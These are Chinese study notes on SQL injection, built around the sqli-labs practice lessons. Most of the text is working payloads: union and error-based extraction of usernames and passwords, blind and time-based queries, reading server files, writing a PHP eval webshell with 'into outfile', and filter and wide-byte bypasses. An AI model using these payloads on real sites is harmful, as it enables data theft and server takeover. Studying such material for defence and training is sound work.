SQL注入精讲学习笔记
爱吃芒果干
前言
分类
1.按照请求方法
GET
POST
2.按照数据类型
整型
字符型
3.其他类型
报错注入
双注入
时间盲注
cookie注入
user-agent注入
第一节:整型注入less-2
步骤:
1.判断是否有注入:是否未严格校验
(1)可控参数的改变是否影响页面的显示结果
?id=1
?id=2
(2) sql语句是否能报错:看到数据库语句痕迹
?id=1'
(3)sql语句是否不报错:语句是否成功闭合
?id=1 #或者--+
2.什么类型注入
3.语句是否能被恶意修改
?id=1 and 0
4.是否能成功执行
获取数据信息
数据库——表——字段——值
information_schema库中关键的三个表
schema:所有数据库名
table:所有表
column:所有字段名
查询列数
?id=1 union select 1,2,3 %23 (枚举12345... %23为#)查询成功说明有三列
若列数很多,用排序语句 (先用order by 1看是否被过滤)
?id=1 order by 3 %23
查询user,database
?id=2132412 union select 1,user(),3 %23 (让前一条语句不显示,使用不存在的数或者加and 0 )
?id=2132412 union select 1,database(),3 %23
查询所有数据库group_concat()
?id=121343 union select 1,2,group_concat(schema_name) from information_schema.schemata%23 (group_concat()拼接所有列)
查询所有表
?id=121343 union select 1,2,group_concat(table_name) from information_schema.tables
查询当前数据库的所有表
在后面再加上 where table_schema=database()
查询user表的所有字段
?id=121343 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'%23
查询想要的信息
?id=121343 union select 1,username,password from security.users%23
拼接所有内容展示concat_ws()
?id=121343 union select 1,group_concat(concat_ws(':',username,password)),3 from security.users%23
第二节:字符注入(单引号,双引号,括号) less-1(单引号)
发现报错 ‘‘1’’ LIMIT 0,1’ at line 1
?id=1’
less-4(双引号,括号)
发现报错’“1"”) LIMIT 0,1’ at line 1
?id=1"
闭合(
?id=1")%23
2.2:POST注入less-11
发现报错 ‘’‘’ and password=‘’ LIMIT 0,1’ at line 1
user ’
password
查询语句
select 1 from users where username= ’ ’ password=?
让其为真执行查询
select 1 from users where username= ’ ’ or 1 # ’ password=?
在username框输入
’ or 1 #
或者post
uname=’ or 1 %23&passwd=123
或者bp抓包
send to repeater
第三节:报错注入less-11
报错函数
1. extractvalue():从目标XML中返回包含所查询值的字符串
EXTRACTVALUE (XML_document,XPath_string);
XML_document参数:是string格式,为XML文档对象的名称,文中为Doc
XPath_string参数:是XPath格式的字符串
concat:返回结果为连接参数产生的字符串
2. updatexml()
UPDATEXML(XML_document,XPath_string,new_value);
new_value参数:是string格式,替换查找到的符合条件的数据
extractvalue() (0x7e为~)
uname=’ union select 1,extractvalue(1, concat(0x7e,(select version())))%23 &passwd=12132
将version()改为想查询的值,太多使用limit 0,1显示
updatexml()
uname=’ union select 1,updatexml(1, concat(0x7e,(select version())),1)%23 &passwd=12132
floor(rand(0)*2)报错
看不懂也放篇文章在这里呜呜(菜鸡落泪
Mysql报错注入之floor(rand(0)*2)报错原理探究 - FreeBuf网络安全行业门户
uname=’ union select 1,count(1) from information_schema.tables group by concat(floor(rand()*2),version()) %23&passwd=213
常见十大报错函数
1.floor()
id = 1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
2.extractvalue()
id = 1 and (extractvalue(1, concat(0x5c,(select user()))));
3.updatexml()
id = 1 and (updatexml(0x3a,concat(1,(select user())),1));
4.exp()
id =1 and EXP(~(SELECT * from(select user())a));
5.GeometryCollection()
id = 1 AND GeometryCollection((select * from (select * from(select user())a)b));
6.polygon()
id =1 and polygon((select * from(select * from(select user())a)b));
7.multipoint()
id = 1 and multipoint((select * from(select * from(select user())a)b));
8.multilinestring()
id = 1 and multilinestring((select * from(select * from(select user())a)b));
9.linestring()
id = 1 and LINESTRING((select * from(select * from(select user())a)b));
10.multipolygon()
id =1 and multipolygon((select * from(select * from(select user())a)b));
第四节:二次注入less-11
稍后更新
第五节:布尔盲注less-5
分析:?id=1’ or 0/1 %23 利用0/1盲注
substr( , ,)用法:截取字符串
ascii 128 chr()
?id=1’ or (select asscii(substr(tablename,2,1)) from informationschema.tables where table_schema=database() limit 0,1) =128 %23
1.=比对
2.二分法><比对
3.bp抓包(cluster)
1-?;1-128=比对
数据库长度 1 and (length(database()))比对
数据库名称 1 and ascii(substr(database(),1,1))比对
表的数目 1 and (select count(table_name) from information_schema.tables
where table_schema=database())比对
表的名称 1 and ascii(substr((select table_name from information_schema.tables
where table_schema=database() limit 0,1),1,1))比对
字段名 1 and ascii(substr((select column_name from information_schema.columns
where table_name=‘flag’),1,1))
第六节:时间盲注less-9
if(判断语句,x,y)如果判断语句正确则输出X,否则输出Y
sleep(X)函数,延迟X秒后回显
if(1=1,sleep(1),1)即延迟一秒后回显
if(1=2,sleep(1),1)即输出一
?id=1’ or if((select ascii (substr(table_name,1,1)) from information_schema.tables where table_schema = database() limit 0,1)=128,sleep(2),0) %23
第七节:Cookie注入less-20
bp抓包to repeater
第八节:HTTP-Referer注入less-19
bp抓包to repeater
出现,说明可能为insert/update语句
insert into table(a,b,c) values(’ ‘,’ ')
不报错 values(’ ‘and’ ‘,’ ')
报错函数 values(’ ‘and extractvalue() and’ ‘,’ ')
第九节:SQL注入读写文件less-1&7
读文件
Load_file(file_name):读取文件并返回该文件的内容作为一个字符串
使用条件:
必须有权限读取并且文件完全可读
想读取的文件必须在服务器上
必须指定文件完整的路径
想读取的文件必须小于max_allowed_packet
技巧
通过经验或者报错得到文件的绝对路径
演示查看index.php源码:
index.php?id=-1’ union select 1,2,hex(load_file(“D:\phpstudy_pro\WWW\sqli-labs\Less-1\index.php”)) %23
再decode十六进制得到php源码
写文件(一句话木马)获取webshell
?id=1’))union select 1,2,“<?php @eval($_POST[a]);?>” into outfile"D:\phpstudy_pro\WWW\sqli-labs\Less-7\a.php" %23
再打开蚁剑连接
第十节:绕过注释符过滤less-23
?id=1’ " %23a
报错’" a’ LIMIT 0,1’ at line 1 说明%23 后的a没有被注释
id=’ ’ ’ ’
?id=-1’ union select 1,version(),2 ’
id=’ ’ or() or ’ ’
?id=1’ or (extractvalue(1,concat(0x7e,version()))) or’
第十一节:绕过and,or字符过滤less-25
替换大小写
or || and &&
第十二节:绕过空格过滤less-26
%09 TAB键(水平)
%0a 新建一行
%0c 新的一页
%0d return功能
%0b TAB键(垂直)
%a0 空格
/**/ 空格
以上全部测试一遍
第十三节:内联注释绕过less-27
发现union,select被过滤
改变大小写
ununionion seselectlect
/*! */
第十四节:宽字节注入less-32
mysql在使用GBK编码的时候,会认为两个字符是一个汉字
URL转码
’ ——> %27
空格 ——> %20
#符号 ——> %23
\ ——> %5C
?id=1%df%27 ?id=1’ 此处用%df逃逸/转义
?id=-1%df%27 union select 1,database(),3 %23
第十五节:SQL注入防御
代码层
黑名单
白名单
敏感字符过滤
使用框架安全查询
规范输出
配置层
开启GPC
使用UTF-8
物理层
WAF
数据库审计
云防护
IPS(入侵防御系统)
文件上传马上更新